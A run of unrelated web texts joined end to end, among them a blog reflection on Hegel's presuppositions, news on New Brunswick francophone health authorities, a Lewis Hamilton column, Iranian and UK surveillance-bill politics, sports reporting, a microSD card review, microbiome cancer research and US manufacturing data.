This issue seems, to me, to be a more specific form of the general issue of Hegel’s claim that his work is presuppositionless. This is usually considered to mean logical presuppositionless, but such a lack of presupposition does not deny much of any other presupposition. When Hegel wrote the Phenomenology, we can be certain that he’s presupposing his own final insight, or some form thereof—as a matter of fact, he tells us this much in the Preface and Introduction. If we did not presuppose that the Absolute was with us already, and knowledge was possible, why would we bother? He wouldn’t have written the Phenomenology if all he thought to be doing was to reiterate ancient skepticism on a more general ground, and then he just happened to find a form of consciousness that achieves Absolute Knowing while going through a random order of claims one could be immanently skeptical about. He presupposes, as Bernstein aptly tells us, that one is part of the tradition of philosophy that has accepted that Kantianism made pre-critical dogmatism impossible to return to. He presupposes his standpoint ending in the present he is in as a historical trajectory, and he presupposes his language and way of thinking.
Because of all of these presuppositions allowed in the work, Hegel can never really convince everyone that the Phenomenology really accomplishes what it claims. Partly because, let’s face it, most people seem to not realize what the method which is driving the movement even is, and partly because even understanding the basic immanent logic one is left with the question of why this logic? How he could do such a thing within the Phenomenology is a big question. Could he have done so at all, or did he really have to wait until the end of the Logic to finally justify or explicate his method? If the Phenomenology is supposed to justify the conclusion of the basic concept of science, and the concept of science is fully fleshed out only afterward, yet the Phenomenology already is in the form of science, where in the theory is the justification for science itself really made?
One could, perhaps, consider that it might be impossible to deduce science from any other method but itself, and that science is merely stumbled upon in the process of history, after which it retroactively justifies itself. It seems like this is what some may have already said; take for example Zizek, who never tires of reminding us of retroactive necessity. Another position to take is what I think Hegel’s own may be: science has always been present as it is the true form of cognition, unrecognized, but nonetheless present as the engine which forces all forms of knowing which stand against it to fall apart. Science is, then, the only standpoint that can explain or judge just why natural consciousness’s forms cannot sustain themselves as knowledge, and indeed, why their failures through history have come to lead to the explicit final appearance of science out of all their failures.
Does this satisfy? Wolfendale says no, and I’m just pondering it now.
AdvertisementsThe New Brunswick government will officially recognize that one of its two regional health authorities operates in French, says Premier Shawn Graham.
But that won't affect the legal obligation of both health authorities to provide services in both English and French, he said.
"On the front-line services, nothing is changing. The way we deliver those services will continue to be improved on and remains the same.
"On the administration of services, we're bringing forward legislative changes that reflect the current reality of what's operating in the province of New Brunswick."
On Thursday, Graham and Health Minister Mary Schryer announced a series of legislative and administrative changes they say will strengthen health-care services for francophones and address those concerns.
The legislative changes, which will be brought forward during the current legislative sitting, will include:
The responsibility of both regional health authorities to improve the delivery of health-care services in French will be recognized.
The New Brunswick Health Council Act will be amended to recognize that the council take into account the needs of linguistic communities and its objectives and purposes.
The minister of health will have the authority to designate university hospital centres and affiliated university hospital centres.
Schryer told the legislature on Thursday that the Committee for Equality of Health in French dropped its lawsuit against the provincial government.
Dr. Hubert Dupuis, the president of the organization, said the province agreed to the group's demands after two weeks of negotiations. He said the final negotiations ended just before 10 a.m. on Thursday.
Dupuis said he will drop the lawsuit against the provincial government, but not before the legislative assembly passes the amendments that enshrine the health reforms.
"This was a major accomplishment by Égalité santé en français and I think never again the government will try a fast one like they did in 2008 without consulting the Acadian community," he said.
Activists launched the lawsuit against the province over its 2008 merger of eight regional health authorities into two, which they claim diminished the rights of francophones.
The charter challenge argued the centralization of health authorities took away the status of Moncton's Georges-L. Dumont Hospital as a francophone institution.
The group had said the lawsuit didn't aim to impose duality in health care, which would mean separate health systems based on language. Instead, the objective was to restore a health authority that is clearly and legally francophone.
Dupuis said he believes patients served by the health authority will soon have better access to more specialized services because of this agreement.
Health board elections returning
The government also plans to introduce future legislation, allowing the election of more than half of regional health authority board members through general elections, beginning in 2012, said Schryer.
The minister of health will appoint the rest of the board members "taking into account communities of interest."
Just two years ago, the Liberals eliminated elected board members as part of their reforms, saying boards needed "competency-based professionals."
Schryer also announced that a five-year plan will be developed to ensure an equitable distribution of health-care services between the province's two health authorities.
A review of the geographic areas assigned to each health authority will also be conducted in consultation with local communities served, she said.
Other changes include:
The Department of Health will establish a committee responsible for the implementation of the official languages strategic plan in the health-care sector. The committee, which will include representation from both health authorities, will provide advice about meeting the needs of the two official linguistic communities in the planning of the health-care system.
The next provincial health plan will include specific measurable objectives with respect to official languages.
The provincial government will modify the shareholder structure of FacilicorpNB to include representation from both regional health authorities.
The government undertook the initiatives in response to recommendations in a report by Gino LeBlanc, tabled in the legislature Wednesday.
In December, Graham asked LeBlanc to consult with leaders of the Acadian and francophone community on ways to improve health-care services and health-care governance for francophone residents.
In his report, Toward an Improved Health System in French New Brunswick, LeBlanc suggested Regional Health Authority A, which includes the Dumont hospital, is clearly francophone in the way it operates and the province should simply recognize that reality explicitly to calm francophone fears.
"The important thing here is that their language of operations, the language in which the board would function, the language of those boards, would be one French, one English," said LeBlanc, an associate researcher at the Canadian Institute for Research on Public Policy and Public Administration at the University of Moncton.
That wouldn't affect the legal obligation of both health authorities to serve the public in both English and French, he stressed.
"The Official Languages Act obliges all these structures to serve all citizens in the language of their choice. Period. That's not negotiable. That's the law of the land," said LeBlanc.
"So I think it's a question of defining francophone spaces, francophone management areas, and from there on we can build one health-care system for New Brunswick."
Former health minister Mike Murphy cut the number of health authorities to two, saying the previous number kept patient care from being standardized and left regions competing for services and resources.
Regional Health Authority A is based in Bathurst and serves northern New Brunswick's French-language hospitals, including Beausejour, Edmundston, Campbellton and Bathurst.
Health authority B, now known as Horizon Health Network, is based in Miramichi and is responsible for the province's southeast English-language hospitals, including Saint John, Fredericton and Miramichi.
The Moncton area is jointly served by both of the authorities.Austrian Grand Prix Venue: Spielberg Dates: 19-21 June Live text and radio commentary via BBC TV, radio and the BBC Sport website and app, plus extended highlights on BBC television. Full coverage details here.
Since the Canadian Grand Prix, I see there has been a fair bit of debate about Formula 1.
I'm obviously aware that the sport's bosses are discussing changing the rules to make the cars faster by 2017 but I don't see it as my job to judge what F1 is. My job is to get into the car and drive as fast and as well as possible.
What I can say, though, is that anyone who says F1 is not rewarding or demanding for the drivers is wrong.
The problem is that, for the large part, people watching the television don't understand all of what is going on. They might think it is easy to drive the cars but I can assure you it is not.
Media playback is not supported on this device Lewis Hamilton 'living his dream' after Canada win
One of the areas that seems to have generated the most debate is the way we save fuel, using a technique called 'lift and coast', which we have to do in some, but not all, of the races.
This is where we lift off the accelerator before we would normally brake on a flat-out lap, and then brake later into the corner.
It is the most efficient way of reducing fuel consumption, in terms of saving the most fuel for the least effect on lap time.
It is absolutely not easy, though, and it is not the case that by doing it we are not on the limit. The car is still on the edge through the corners, we are just approaching them in a different way.
The same goes for looking after the tyres. It is still massively challenging. And mentally F1 is just as challenging as before.
The only way it is different to when I started in F1 is physically. It is not as killer as it used to be when the cars were much faster, and we carried more speed through the corners and had much better tyres.
For the first four years I was in F1, it was flat-out all the way. From 2007-2009, we had pit stops for fuel, and through those years and into 2010 we had much more durable tyres.
That is not the case now and we have to adapt.
Lewis leads the F1 standings by 17 points after winning his fourth Canadian GP last time out
It is still tough physically, don't get me wrong. We have to be extremely fit to race in F1. But we're not completely exhausted at the end of races any more, like we quite often were in the last decade.
Even if it was changed so we pushed flat out on every lap, it is hard for people to see that on TV.
If people think that would make it more exciting to watch, great, but that's not for me to decide. That's what the big boys - the likes of Bernie Ecclestone, FIA president Jean Todt and the team bosses such as ours at Mercedes, Toto Wolff - are paid to do.
All I can say is that I love driving the cars and I am still massively challenged every weekend.
A window into my life
Some of you have probably noticed that I often post pictures of myself, or things I am doing, on my social media outlets, whether it be Facebook, Twitter or Instagram. I thought I would explain what that's about.
I think it's a shame that people are so quick to put you in a box; sometimes it's as if you do one thing and that's all you're allowed to do.
It's especially bad in F1 - it's almost as if you're expected to be like James Hunt, or some other dude who used to be in F1. And I'm nothing like him or anyone else.
Lewis is keen to share with his fans what it's like living the life of an F1 driver
People need to remember that I am the first black driver in F1, so I am obviously going to be different to past drivers.
I post the photos because I lead such a busy life; I am constantly doing interesting things, or meeting new people. I am lucky enough to get to do things a lot of people will never experience.
I want to capture that and give people a sense of what it is like.
It all started really after Nelson Mandela's 90th birthday party in London. I had Oprah Winfrey on my left and Chelsea Clinton on my right. Mandela was two spots away.
I met Bill Clinton, Will Smith and Denzel Washington, who I am a huge fan of. And I didn't take a picture with anybody. I didn't take a single photo all day.
I really regret that I did not capture those moments, and I wanted to make sure I had someone around who could do that when I am not even thinking about it, because I get so caught up in the moment.
And I didn't want it to be just a photographer. I wanted it to be someone who I was good friends with and who I could hang around with and do other things.
That's my friend Daniel Forrest - who we call Spinz - who I do music with as well.
Sometimes I post my own stuff; at other times the photos will have been taken by Daniel.
It could be a nice image, or a picture with my brother, some famous and inspirational saying, something cool that my fans might one day want to have. We might be out with some of my cars and we'll take some pictures, because I am so proud of them. Whatever.
Some people might keep it for themselves but I like to share it because, in total, I have several million people following me on social media, wanting to know what my life is about.
Very few people get to experience what it is like to be an F1 driver. I am part of a new generation of F1 driver and I am one of a kind.
I want people to see me as different, and hopefully over time people will come to accept me for what I am.
My taste for fashion
When I was growing up, we never had money to have nice clothes. All our money went into my racing; not even my dad and step mum could afford to go out and buy good-looking clothes.
In fact, my dad still to this day wears the same stuff he did 20 years ago - it's hilarious to see him going around the house and wearing a sponsor's jacket from when I was 11 or something. I'm like, "Dude, seriously!"
When I got to F1 with McLaren, I was made to fit a square box. You can't show your personality, show any character. You can't do this, you can't do that.
Lewis attended the recent London premiere of the Minions movie
Once I got to Mercedes and really got my feet dug into F1, I felt like I could start coming out of my shell little by little over time.
Sometimes people don't seem to like the clothes I wear, judging from some of the messages I get told about. But I could show you pictures of me when I was 17 and you wouldn't see a huge difference.
I still wore big chains, and my clothes would have been even baggier than they are now.
But now I have got time to really pay attention to how I present myself.
I like to feel comfortable in what I'm wearing and to wear it the way I want to wear it, and I don't care what other people think about that.
Fashion is a great thing to get involved in, especially London men's fashion, because we have a lot of great British designers, many of whom I am avid fan of, and buy a lot of their merchandise. That's why I was at London Fashion Week in the break between the Canadian and Austrian Grands Prix.
It is cool to be a part of something that is inspiring up-and-coming people at college who want to be fashion designers.
I love creativity, in all parts of life, and I hope it will inspire me one day to do something creative, in one sphere or another.
It was a really cool time. Plus I got to try and wear so many different outfits, so that was great!
You can follow Hamilton on Twitter @lewishamilton and you can see exclusive content on his website www.lewishamilton.comTEHRAN, IRAN—Iran’s Supreme Leader said Sunday that Washington has continued its animosity toward Tehran, despite a friendly message by U.S. President Barack Obama marking Persian New Year.
Obama on Saturday, in his annual video message marking the Persian New Year, said a landmark nuclear deal Iran reached with world powers last year makes it possible for Iran to rejoin the global economy, increase trade and investment, and create jobs and opportunities for Iranians to sell their goods around the world.
Khamenei has final say on all state matters in Iran. He said many international companies continue to avoid working with Iran out fear of the U.S.
State TV broadcast Ayatollah Ali Khamenei’s New Year’s speech on Sunday live from the northern city of Mashhad. He said of the U.S., “From one hand they send a New Year message and on the other hand they have kept economic sanctions,” against Iran. “This is enmity.”
“The United States is severely working not to allow the deal’s results to become beneficial for the Islamic Republic,” said Khamenei. He said despite the deal “They have threatened us through other sanctions.”
He said the U.S. has not fulfilled all of its commitments under the deal. “Banking transactions are still facing problems. The return of Iran’s capital from abroad has faced problems. When we investigated, it was found out that they fear from the U.S.”
He also said there is no guarantee that the next U.S. administration will honour all the commitments made by Obama’s administration.
Khamenei dismissed the recent controversy over Iran’s continued testing of ballistic missiles. Earlier this month, the country’s Revolutionary Guard test-fired two missiles emblazoned with the phrase “Israel must be wiped out” in Hebrew.
After the launches, United Nations Secretary-General Ban Ki-moon called on Iran to “act with moderation,” and the U.S. ambassador to the United Nations called them, “provocative and destabilizing.” U.S. Secretary of State John Kerry has said the recent tests could trigger additional sanctions.
“What an outcry they raised over our missile issue saying, why did you test fire? Why did you launch the military exercise,” Khamenei said.Are Sex Offender Laws Backfiring?
Photo: pena2 (A map of registered sex offenders in L.A.)
A pair of new studies raise questions as to whether sex offender registries and community notification laws actually reduce recidivism of sex offenders, or even lead to lower sex crime rates overall. Both are published in the University of Chicago’s Journal of Law and Economics.
The first study by Jonah Rockoff of Columbia Business School, and J.J. Prescott, a law professor at the University of Michigan, parses out the effectiveness of the two basic types of sex offender laws. While they find that the registration of released sex offenders is associated with a 13% decrease in crime from the sample mean, public notification laws proved to be counterproductive, and led to slightly higher rates of sex crime because of what the authors refer to as a “relative utility effect”:
Our results suggest that community notification deters first-time sex offenders, but may increase recidivism by registered offenders by increasing the relative attractiveness of criminal behavior. This finding is consistent with work by criminologists showing that notification may contribute to recidivism by imposing social and financial costs on registered sex offenders and, as a result, making non-criminal activity relatively less attractive.
…[C]onvicted sex offenders become more likely to commit crime when their information is made public because the associated psychological, social, or financial costs make crime more attractive.
The second study comes from Amanda Y. Agan, a PhD student at the University of Chicago, who throws water on the whole notion that sex offender registries work in the first place.
Agan compared arrest rates for sex crimes in each U.S. state before and after registry laws were implemented and found no appreciable changes in crime trends following the introduction of a registry. As for recidivism, she looked at data on over 9,000 sex offenders released from prison in 1994. About half were released into states where they needed to register, while the other half did not need to register. Agan found no significant difference in the two groups’ propensity to re-offend, and that those released into states without registration laws were actually slightly less likely to re-offend. Analyzing Washington D.C. census data, Agan went block by block and found that crime rates in general, and sex crimes in particular, do not vary according to the number of sex offenders in the area.Charlie Strong talks about what caused him to lose his cool in last Saturday's game against Oklahoma State. (0:55)
AUSTIN, Texas -- The great Texas penalty controversy of 2015 is still missing two important things: an official title (Flag-gate?) and a bunch of unknowable answers.
Why was Texas defensive tackle Poona Ford penalized for defensive holding on a run play? Why did officials miss a holding call on Oklahoma State but ding Paul Boyette Jr. for barely roughing the passer a second later? Why did line judge Kelly Deterding bump into coach Charlie Strong before issuing him an unsportsmanlike conduct penalty?
And another: What did Strong say to Deterding that prompted that critical flag late in the fourth quarter?
Actually, Strong could resolve that one.
"I don't remember what I said to the official," Strong said Monday. "I mean, I forgot what it was."
Then he flashed a grin and started laughing.
Like most everyone else entangled in the controversy, Strong can’t say what he really thinks. No need to risk a fine from the Big 12 office. And after Monday, he moved on. He already has enough on his plate in preparing for a trip to No. 4 TCU.
Texas fans, on the other hand, have had a much harder time achieving acceptance. The game’s officiating has remained a lighting rod for criticism all week long in Austin.
This much is undisputable: The Longhorns were penalized 16 times for 128 yards in their 30-27 loss to Oklahoma State. The Cowboys ended up with seven penalties for 40 yards.
A series of three consecutive penalties in the game’s final minutes -- pass interference on Texas cornerback Kris Boyd, the holding call on Ford and the unsportsmanlike conduct on Strong -- set the Cowboys up for their game-tying field goal.
A 53-yard touchdown on a double pass from Marcus Johnson to John Burt was negated by an illegal forward pass penalty. That came not long after a 15-yard touchdown by D'Onta Foreman was wiped out by a holding call.
The call against Ford has received the brightest spotlight, particularly because replays suggest he was the victim of offensive holding.
Here's the bizarre defensive holding call again. Watch 95 get double teamed, flagged for nothing. pic.twitter.com/hBA0NPHumx — Max Olson (@max_olson) September 27, 2015
Another problem: the sheer rarity of such a penalty.
According to ESPN Stats & Info, defensive holding on a run play has occurred only 61 times from the more than 49,000 FBS penalties called since the start of the 2010 season. That’s less than 0.13 percent.
The Longhorns ended up with their second-highest penalty total in one game since 1996, a second consecutive last-second loss and a sneaking suspicion they had been wronged.
"It felt like every big play, everything that happened, you’d have to look back and say, 'Well, did they call anything?'" Johnson said.
The questionable calls have inspired hot takes galore, accusations of game-fixing, intensive research into the officiating history of lead referee Alan Eck and endless message board fodder.
Even an Austin restaurant got in on the action:
Emmanuell Sancha, the manager of El Arroyo, didn’t take credit for the sign -- another staffer came up with the message -- but Sancha was just as disgusted by the officiating as his customers.
"It was horrible. Man, that sucked," Sancha said. "We might have to come up with another sign on that one."
The explanations that Walt Anderson, the Big 12’s coordinator of officials, offered in interviews Monday night only seemed to spill more gasoline on the blaze.
Anderson defended the work of his officiating crew and said he was pleased with their performance. He declined, though, to reveal which calls were right and wrong.
"There were a few mistakes -- and I emphasize a few -- and you want to learn from them," Anderson told The Dallas Morning News. To Anderson, the "vast majority" of penalties were correctly called.
Though he didn’t speak specifically on the most controversial calls, Anderson did offer justification for the defensive holding call, as well as for the crew’s handling of Strong. None of that seemed to pacify the burnt orange mob. Some fans even took to Twitter to declare it’s time the Longhorns leave the Big 12.
Those Texas devotees still waiting for the Big 12 to step forward and declare, "We screwed up" won't ever get that satisfaction.
A Big 12 spokesperson confirmed Tuesday that commissioner Bob Bowlsby will make no public statements about the game's officiating. Anderson said that’s simply not how they do things.
"Right or wrong, correct or incorrect, the conference is rarely going to make comments about individual calls," Anderson said.
He spent eight hours Monday reviewing every aspect of the Oklahoma State-Texas tape. Texas fans have been doing the same for three days.
Anderson understands and welcomes the scrutiny. But there is not much he, the Big 12 or anyone else can say that will bring much closure.
"The reality is," Anderson said, "if mistakes are made and when they’re made -- because that’s gonna happen -- we’re gonna learn from them."I've been using this card in my Samsung Galaxy S7 for about 2 months(give or take a week or two). I store all my photos, videos, podcasts, audiobooks, music, documents, as well as apps I don't use daily on the card. So far it has worked flawlessly(knock on wood) and the read/write speed of the card is faster than expected. Only in a few specific functions does it feel noticabley slower than the device storage, none that I use regularly. I even tested it in my Canon DSLR (with SD adapter) and it performed surprisingly well. Overall, I have been highly satisfied with this card! Usually I avoid SanDisk due to past issues. However, with the $60 price cut at the time of purchase I took a chance. That said, I would recommend this card to anyone that is looking for a reliable, fast, and inexpensive Micro SD option to expand their phone storage. Photo: I use my phones "Pro Mode" @ Max Resolution 12MP (4032x3024) to take pictures, set to save directly to the SD Card. So far the card manages to keep pace with shooting to device storage. It has yet to show any signs of lag vs device storage even when snapping 10+ pics in quick succession (in single shot mode, burst mode won't allow direct SD card storage.) HDR, panorama, slow motion all shoot direct to SD with ease as well. Most importantly I have not had any quality issues. Video: I shoot video in FHD (1920x1080 @60fps) since that's the best resolution for watching on the average TV. Video shot to the SD card in FHD record smoothly and without hiccups. During playback there is no noticable video nor audio degrigation vs those shot directly to device storage. To fully test the speed of the card I shot a few videos using the phones max resolution UHD(3840x2160). Video in UHD record flawlessly under 2 or 3 minutes. However as I expected with the constant write speed strain, longer than 3 minutes there is noticeable judder and lag. Apps: All apps stored on the SD card Open, Update, and Run without any issues. Audio: Files (.MP3, RSS, Audiobooks) saved to the SD card playback without any quality issues vs device files.
Read moreImage copyright Getty Images
Bacteria living in the murky depths of the digestive system seem to influence whether tumours shrink during cancer therapy, say French and US researchers.
They tested the microbiome - the collection of microscopic species that live in us - in cancer patients.
Two studies, in the journal Science, linked specific species and the overall diversity of the microbiome to the effectiveness of immunotherapy drugs.
Experts said the results were fascinating and held a lot of promise.
Our bodies are home to trillions of micro-organisms and the relationship between "us" and "them" goes far beyond infectious diseases.
The microbiome is involved in digestion, protection from infection and regulating the immune system.
Both studies were on patients receiving immunotherapy, which boosts the body's own defences to fight tumours.
It does not work in every patient, but in some cases it can clear even terminal cancer.
Survival
One study, at the Gustave Roussy Cancer Campus in Paris, looked at 249 patients with lung or kidney cancer.
They showed those who had taken antibiotics, such as for dental infection, damaged their microbiome and were more likely to see tumours grow while on immunotherapy.
One species of bacteria in particular, Akkermansia muciniphila, was in 69% of patients that did respond compared with just a third of those who did not.
Boosting levels of A. muciniphila in mice seemed to also boost their response to immunotherapy.
Meanwhile, at the University of Texas MD Anderson Cancer Center, 112 patients with advanced melanoma had their microbiome analysed.
Those that responded to therapy tended to have a richer, more diverse microbiome than those that did not.
And they had different bacteria too. High levels of Faecalibacterium and Clostridiales appeared to be beneficial, while Bacteroidales species were bad news in the study.
'Game-changing'
Tissues samples showed there were more cancer-killing immune cells in the tumour of people with the beneficial bacteria.
The team then performed a trans-poo-sion, a transplant of faecal matter, from people to mice with melanoma.
Mice given bacteria from patients with the "good" mix of bacteria had slower-growing tumours than mice given "bad" bacteria.
Dr Jennifer Wargo, from Texas, told the BBC: "If you disrupt a patient's microbiome you may impair their ability to respond to cancer treatment."
She is planning clinical trials aimed at altering the microbiome in tandem with cancer treatment.
She said: "Our hypothesis is if we change to a more favourable microbiome, you just may be able to make patients respond better.
"The microbiome is game-changing, not just cancer but for overall health, it's definitely going to be a major player."
Promising
Mark Fielder, president of the Society for Applied Microbiology and professor of medical biology at Kingston University, said the study showed the importance of understanding the micro-organisms that call our bodies home.
He told the BBC: "It's really interesting and holds a lot of promise, we need to do more work but there are exciting glimmers here in treating some difficult diseases.
"Some claim the microbiome is the answer to everything, I don't think that's the case.
"But once we understand more, it could be that microbiome manipulation is important in changing people's health."
Dr Emma Smith from Cancer Research UK, said: "It's fascinating.
"One of the big challenges for using immunotherapies to treat cancer is understanding which patients will respond, and this research is a step towards helping doctors to identify these people."
Follow James on Twitter.The UK parliament will have to consider a debate on the controversial Investigatory Powers Bill (IP Bill) now that a petition against the legislation has topped 100,000 supporters.
The petition calling for the repeal of the new surveillance laws passed by both houses of parliament reached the required number of signatories for a debate at the weekend.
“The IP Bill was debated and passed while the public, media and politicians were preoccupied by Brexit,” said Open Rights Group executive director Jim Killock
The bill requires only royal assent before becoming law, but opponents, who say the legislation is too intrusive, believe the government should still reconsider.
Killock said there is renewed concern about the extent of the powers that will be given to the police and security agencies now that the bill, also known as the Snoopers’ Charter, has reached the final stage.
“In particular, people appear to be worried about new powers that mean our web browsing activity can be collected by internet service providers and viewed by the police and a whole range of government departments.
“Parliament may choose to ignore calls for a debate, but this could undermine public confidence in these intrusive powers.
“A debate would also be an opportunity for MPs to discuss the implications of various court actions, which are likely to mean the law will have to be amended,” he said.
“Parliament may choose to ignore calls for a debate, but this could undermine public confidence in these intrusive powers” Jim Killock, Open Rights Group
The Court of Justice of the European Union (CJEU) is due to clarify its rulings on data retention in a case brought by Labour MP Tom Watson.
The case was also brought forward by conservative MP David Davis, but he dropped the case shortly before it was announced he was to be appointed Brexit minister in prime minister Theresa May’s cabinet.
According to Killock, the CJEU’s judgment could mean parts of the IP Bill are shown to be unlawful and need to be amended.
Open Rights Group is also one of a number of organisations that have brought a case to the European Court of Human Rights, arguing that the UK’s surveillance regime breaches our right to privacy.
The Home Office, which is responsible for the IP Bill introduced by Theresa May while still home secretary, claims the bill is necessary to protect the country’s national security, and that it has sufficient oversight for the surveillance powers it gives.
No alternative to controversial bulk surveillance The IP Bill grants intelligence agencies the ability to obtain and use bulk personal datasets that will include mostly individuals who are not suspected in any wrongdoing. In August 2016, a report by David Anderson, Queen’s Counsel, said there was no alternative to the controversial bulk surveillance powers proposed in the bill, but human rights group Liberty said there was no compelling operational case for each of the IP Bill’s bulk powers. For each bulk power, Liberty said, an exploration of the technical options available to our spies shows that a targeted approach would do the job just as well. IT service providers and privacy campaigners alike have expressed concerns about “equipment interference” provisions allowing security services to hack into computers, networks and mobile devices. But supporters of the bill have argued there is more oversight than ever before, pointing out that security and intelligence agencies must apply for a warrant from the secretary of state, and these groups are the only people who can complete bulk hacks.Bad movies were the least of anyone’s problems in 2017. But at a time when art seems uniquely vital as a way to escape or at least meaningfully grapple with the misery of real life, the follies still stung. It was a year of lousy franchise films that just kept |
of the flooded areas, making it difficult for rescuers to reach those stranded.
Half a month's worth of rain has fallen in the capital in the past 24 hours.Get the biggest Newcastle United FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Newcastle United are understood to have offered Tim Krul a contract extension ahead of a loan move to Ajax.
The long-serving goalie has just one year left on his contract but the Magpies want to give themselves time to make the right decision and protect the Dutchman’s value by offering him a new one year extension.
Krul could have left for nothing at the end of his current deal which had just 10 months left to run, but if he turns down the offer United would now be entitled to compensation after he joined the club's Academy at 16.
Krul is not guaranteed the number 1 spot at Newcastle this season due to the arrival of Matz Sels while Karl Darlow and Rob Elliot also had good campaigns last season to increase the competition.
To some observers, Krul is still the most talented goalkeeper at the club but starts the season after recovering from a knee injury.
However, once fit the move to Ajax will give him the chance to play regular football in his home country.
He could also get the chance to play in the Champions League if Ajax can get through their qualifier but the Dutch giants were held by FC Rostov in a 1-1 draw at the Amsterdam Arena last week.
Ajax require a big boost and are set to lose Jasper Cillessen to Barcelona.
They lost to Willem II for the first time ever in Amsterdam at the weekend with youngster Andre Onana handed his debut between the sticks.
Now, they want an experienced goalkeeper and Krul could be the perfect loan signing for them.Jonny Evans has revealed the full extent of Louis van Gaal ’s attention to detail at Manchester United, claiming the new manager has adopted a Big Brother approach to training involving camera surveillance of every movement on the pitch.
Van Gaal, who officially began work as United manager two weeks ago, is attempting to accelerate the team’s adjustment to a 3-4-1-2 formation during the pre-season tour of the United States, which continues against Real Madrid in front of a 109,000 crowd in Ann Arbor, Michigan, on Saturday.
The former Holland coach has also introduced changes behind the scenes, from training times to the squad’s dining arrangements and the overhauling of pitches at the club’s Carrington base.
But with United ploughing around £3 million into Van Gaal’s planned improvements at Carrington, centre-half Evans admits the biggest surprise has been the cameras that have been positioned alongside the training pitches.
“I think it is a lot more detailed at the training ground now,” he said. “They have spent thousands on it and a few of the lads have seen HD cameras around the pitch. We have this camera system where he [Van Gaal] can watch us on the pitch. I think a lot of teams use it, but we are looking into it in quite a lot of detail.
“He is saying things like, ‘You should be five yards to the right’ after watching the footage and we are able to see things that are happening live on the pitch. We went through a video recently and I was 10 yards out of position. There are things you are doing on the pitch, and the whole team will be feeling the same, and you are thinking, ‘Am I in the right position?’ Then he will show you in the video and you will know”
Van Gaal has warned it could take up to three months for his players to become fully comfortable with his methods having introduced new training drills and dispensed with the back four formation that United have used for more than two decades.
“He said the same to us, ‘You will find it hard’,” Evans said. “He said we would find it hard mentally because he wants us all to push ourselves to the limit. That is what it feels like. We are all going to bed and sleeping well anyway. But that is the standard he has set for us. There are a lot of fine details that we all have to stick to, but I think what it does is give everyone a comfort zone because we all know that is the standard.
“It is everything from the clothes you wear to the time you have a meal and everyone eating together.”
At 26, Evans, the Northern Ireland international, admits he must emerge as a senior figure under Van Gaal having been regarded as a young prospect alongside the likes of Nemanja Vidic and Rio Ferdinand. With the two long-serving defenders leaving United this summer, Evans faces the dual challenge of adapting to a new system and proving his worth to the new manager, but he insists he is ready to grasp his chance.
“If you look at Nemanja, he didn’t join us until he was 25 or 26,” Evans said. “That’s the same age as me now, but for the last six or seven years it has not been a case of not wanting to step up. The aim is always to be the best that you can. I have benefited from playing with Rio and Nemanja, and Wes Brown before that. I have learnt a lot throughout my career and it is a big time in my career now.
“But as for the new system, people get obsessed with formations, over whether it is a three or a five, but the philosophy stays the same when you are playing out from the back. A lot of teams have three at the back with two full-backs going high and that’s how they play out. When they defend, an extra midfielder will come deeper and play in front of a back four.
“It is just about fine tuning and once you catch on to things, you understand it. It is different, but the good thing is the manager has taken time with us and not just thrown us into a system.”
Twelve months ago, United prepared for a new campaign following another change of manager, with David Moyes replacing Sir Alex Ferguson, and the optimism at that time was similar to that being expressed under Van Gaal.
Moyes was unable to sustain the feel-good factor, with United enduring a nightmare campaign, and Evans admits a determination to right the wrongs of last season.
“Louis van Gaal’s record does demand respect but David Moyes got a lot of respect from the lads and we treated him exactly the same way as when Louis van Gaal came in. I’m not sure why it went wrong. But people are now saying Manchester United can’t win the league, so that is a big motivation to us.”
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- United must reach Champions League or face £23m penalty
- United owners to sell £89m of club shares
- Summer shopping spree: Top 10 signingsThe June issue of Shogakukan's Coro Coro Comics magazine revealed on Monday that the Yo-kai Watch anime will enter the "Busters" arc in July. The arc will feature the characters T-Jibanyan and T-Komasan.
Both characters feature in the Yo-kai Watch Busters game, which shipped in Japan in two versions ( Akaneko-dan and Shiroinu-tai ) for the Nintendo 3DS in July 2015. The Yo-kai Watch 3: Sukiyaki game, which shipped in December 2016, also included a "Busters Treasure" mode featuring the characters.
The Yo-kai Watch Busters spinoff game allows up to four players to cooperate in battling boss Yo-kai. Players are given case assignments from Commanding Officer Bree, after which they can explore the town, recruit Yo-kai, and fight the big boss behind the case.
Atsushi Ohba launched a manga based on the game in Coro Coro Comics in May 2015, and ended the manga in August 2015.
The Yo-kai Watch television anime premiered on Disney XD in November 2015, and the second season premiered last August.WASHINGTON/NEW YORK (Reuters) - U.S. manufacturers were busy in April as factories ramped up production to rebuild inventories though soft labor markets still point to a relatively slow economic recovery.
People wait in line to enter the UJA-Federation of New York's Connect to Care job fair in New York, in this file image from March 2, 2010. REUTERS/Shannon Stapleton/Files
Data on Thursday indicated manufacturing may continue leading growth for a while. Analysts said recovery should then shift from government stimulus and stockpiling to consumers once hiring picks up in the factory sector.
“With the manufacturing sector accelerating, it’s likely the overall economy will continue to grow at an above trend growth for the time being,” said Zach Pandl, an economist at Nomura Securities International in New York. “The handoff from fiscal policy to underlying domestic growth should happen at some point this year.”
Expansion in manufacturing was highlighted by the New York Federal Reserve’s “Empire State” general business conditions index which rose to a six-month high of 31.86 in April from 22.86 last month. Markets had expected a reading of 24.
Separately, the Philadelphia Federal Reserve Bank’s business activity index rose to the highest level in four months during April. The rise in the index to 20.2 from 18.9 the prior month was a touch above market expectations.
A report from the Federal Reserve showed overall industrial production rose only 0.1 percent in March as heating needs fell, manufacturing output increased 0.9 percent led by widespread gains among durable goods industries.
The strong manufacturing data prompted Goldman Sachs to raise its forecast for second quarter gross domestic product growth to an annual rate of 3 percent from a 2 percent pace.
“Although our 2.5 percent estimate for annualized first-quarter real GDP growth still looks right, the U.S. economy appears to be headed for stronger growth in the second quarter,” said Edward McKelvey, an economist with the bank.
But there was still plenty of slack in the labor market. Initial claims for state unemployment benefits rose 24,000 to a seasonally adjusted 484,000 last week. A Labor Department official attributed the spike to a backlog in applications from the Easter holiday and saw no unusual economic factors.
U.S. stocks posted their sixth straight day of gains as an upbeat profit forecast from United Parcel Service (UPS.N) pushed up transportation shares and offset concerns about the rise in jobless claims. U.S. Treasury debt prices rose, while the U.S. dollar was up versus the euro and yen.
MANUFACTURING ROBUST
“Clearly the factory sector is enjoying a robust turnaround, driven by inventory rebuilding at home and strong final demand abroad,” said Paul Ashworth, senior U.S. economist at Capital Economics in Toronto.
In a sign of strengthening demand overseas, China recorded surprisingly strong annual growth of 11.9 percent in the first quarter. The rate of expansion was the fastest since 2007.
